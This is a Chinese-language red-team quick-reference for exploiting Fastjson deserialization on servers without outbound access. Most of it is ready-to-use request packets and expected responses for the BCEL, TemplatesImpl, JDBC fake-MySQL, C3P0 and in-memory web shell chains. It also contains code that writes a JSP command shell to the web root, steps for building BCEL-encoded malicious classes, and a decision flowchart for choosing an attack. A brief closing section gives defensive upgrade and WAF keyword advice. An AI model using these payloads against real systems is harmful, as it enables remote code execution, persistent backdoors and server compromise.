一、版本探测3种方法方法1报错探测请求包POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json {type:java.lang.AutoCloseable响应包HTTP/1.1 500 Internal Server Error {message:com.alibaba.fastjson.JSONException: syntax error, expect {, actual EOF, pos 13} # 确认使用Fastjson方法2DNS探测请求包POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json {type:java.net.InetAddress,val:dnslog.cn}响应包HTTP/1.1 200 OK {code:0} ← 表面正常实际DNSLog收到解析请求 → 版本 1.2.47方法3延迟探测请求包POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://unreachable:9999/x,autoCommit:true}响应包HTTP/1.1 200OK {code:0} ← 3-5秒后才返回 → 版本 1.2.47二、利用方式速查表方式请求特征成功响应失败响应版本要求BCELtype:BasicDataSource$$BCEL$$200 正常业务JSON500ClassNotFoundException1.2.47写文件结合BCEL恶意类写shell200 正常业务JSON500Permission denied全版本TemplatesImpltype:TemplatesImpl_bytecodes200 正常业务JSON可能假成功500not a valid Translet需FeatureJDBCtype:JDBC4Connection 假MySQL500报错含命令结果500ClassNotFoundException1.2.68C3P0type:PoolBackedDataSource Hex200 正常业务JSON500ClassNotFoundException1.2.47内存马同BCEL恶意类为内存马代码200 后续访问返回命令结果500ClassNotFoundException需BCEL条件三、各方式请求/响应包BCEL链首选请求包POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json Content-Length:2456{type:org.apache.tomcat.dbcp.dbcp2.BasicDataSource,driverClassLoader:{type:com.sun.org.apache.bcel.internal.util.ClassLoader},driverClassName:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8d$cb$8b$8b$U$V$3d$9d$3d$b0$G$3d$K$A$A$e0$a0$U$3d$cb$dd$c7$3c$fc$8b$ba$c1$ee$c9$3b$c7$d6$...}注意Tomcat 8.0以下用dbcp.BasicDataSource无28.0用dbcp2.BasicDataSource成功响应HTTP/1.1 200 OK Content-Type:application/json {code:0,message:success,data:null} ← 命令已执行但无回显❌ 失败响应1无Tomcat依赖HTTP/1.1 500 Internal Server Error {exception:java.lang.ClassNotFoundException,message:org.apache.tomcat.dbcp.dbcp2.BasicDataSource} ← 换其他方式❌失败响应2版本过高HTTP/1.1 200 OK{code:415,message:error, type not support} ← 版本1.2.48写文件全版本兜底请求包通过BCEL链执行写文件代码POST/api/testHTTP/1.1 Host:target.com Content-Type:application/json{type:org.apache.tomcat.dbcp.dbcp2.BasicDataSource, driverClassLoader:{type:com.sun.org.apache.bcel.internal.util.ClassLoader}, driverClassName:$$BCEL$$恶意类含写文件代码的BCEL编码}恶意类核心代码static{ try{newjava.io.FileWriter(/var/www/html/shell.jsp).write(%Runtime.getRuntime().exec(request.getParameter(\cmd\));%); } catch(Exception e) { } }成功响应HTTP/1.1200OK{code:0} ← 检查目标服务器是否生成shell.jsp❌失败响应无写入权限HTTP/1.1500Internal Server Error{error:java.io.FileNotFoundException: /var/www/html/shell.jsp (Permission denied)} ← 换路径TemplatesImpl链需SupportNonPublicField请求包POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json{type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes:[yv66vgAAADQA...Base64编码的恶意类须继承AbstractTranslet],_name:Evil,_tfactory:{},_outputProperties:{}}❌最坑响应Feature未开启与成功完全一样HTTP/1.1200OK {code:0,data:null} ← 表面成功但命令根本没执行需去服务器检查文件验证❌失败响应类未继承AbstractTransletHTTP/1.1 500Internal Server Error{exception:java.lang.IllegalArgumentException,message:Evil is not a valid Translet class} ← 修改恶意类继承JDBC链假MySQL可实现回显请求包POST /api/test HTTP/1.1 Host:target.comContent-Type:application/json{type:java.lang.AutoCloseable,type:com.mysql.jdbc.JDBC4Connection,hostToConnectTo:192.168.1.100,portToConnectTo:3308,info:{user:yso_-gCommonsBeanutils1_-pEX-TomcatEcho,password:any,useSSL:false,statementInterceptors:com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize:true},databaseToConnectTo:mysql,url: }前提攻击者启动假MySQL服务如MySQL_Fake_Server成功响应报错中带回显HTTP/1.1 500Internal Server Error{message: Connection failed, exception: java.sql.SQLException: Could not parse your command: whoami\n\nroot ← 命令结果出现}❌失败响应无MySQL驱动HTTP/1.1 500 Internal Server Error {error:java.lang.ClassNotFoundException: com.mysql.jdbc.JDBC4Connection} ← 无MySQL驱动换方式C3P0链请求包POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json{type:com.mchange.v2.c3p0.PoolBackedDataSource, connectionPoolDataSource:{type:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource, userOverridesAsString:HexAsciiSerializedMap:ACED00057372...}}成功响应HTTP/1.1 200OK {result:true} ← 命令执行需配合反序列化链❌ 失败响应无c3p0依赖HTTP/1.1 500Internal Server Error {error:java.lang.ClassNotFoundException: com.mchange.v2.c3p0.PoolBackedDataSource} ← 换方式内存马注入阶段1注入内存马同BCEL请求包恶意类内容不同POST/api/test HTTP/1.1 Host:target.com Content-Type:application/json{type:org.apache.tomcat.dbcp.dbcp2.BasicDataSource, driverClassLoader:{type:com.sun.org.apache.bcel.internal.util.ClassLoader}, driverClassName:$$BCEL$$内存马注入类的BCEL编码}阶段1响应HTTP/1.1 200OK{code:0} ← 注入成功阶段2访问内存马GET/evil?cmdwhoami HTTP/1.1 Host:target.com阶段2响应HTTP/1.1 200OK Content-Type:text/plainroot ← 命令执行结果回显成功四、BCEL编码生成3步# 1. 写恶意类 Evil.javacat Evil.java EOFpublic class Evil { static { try { Runtime.getRuntime().exec(touch /tmp/success); } catch (Exception e) {} }}EOFjavac Evil.java# 2. 生成BCEL编码// BCELEncode.javaimportcom.sun.org.apache.bcel.internal.classfile.Utility; importjava.nio.file.Files; importjava.nio.file.Paths; public class BCELEncode{ public static void main(String[] args) throws Exception{ byte[] bytes Files.readAllBytes(Paths.get(Evil.class)); System.out.println($$BCEL$$Utility.encode(bytes,true));} }javac -cp. BCELEncode.java java-cp. BCELEncode# 输出类似$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8d$cb...超长五、快速决策流程图目标不出网 │ ├─ 先测版本报错/DNS/延迟 │ ├─ 1.2.47 ──→ Tomcat是 → BCEL链优先 │ ├─ 成功 → 需回显→ JDBC/内存马 │ └─ 失败 → 写文件兜底 │ ├─ 1.2.48~1.2.68 → SupportNonPublicField │ ├─ 是 → TemplatesImpl │ └─ 否 → 写文件兜底 │ └─ 1.2.68 ──→ 写文件兜底六、红队速查口诀BCEL不行就写文件要回显上JDBC假MySQLTemplatesImpl是陷阱Feature默认不开内存马注入可持续中间件重启则消失七、蓝队防御速查// 1. 升级版本Fastjson1.2.83 // 2. 开启SafeModeParserConfig.getGlobalInstance().setSafeMode(true); // 3. WAF拦截关键字type(BasicDataSource|TemplatesImpl|JdbcRowSetImpl|PoolBackedDataSource|JDBC4Connection)$$BCEL$$ldap:// rmi://在type上下文中一句话总结不出网场景BCEL链是首选请求包带$$BCEL$$写文件是兜底全版本通用JDBC假MySQL能回显500报错含命令结果TemplatesImpl大多不实用响应200可能是假成功。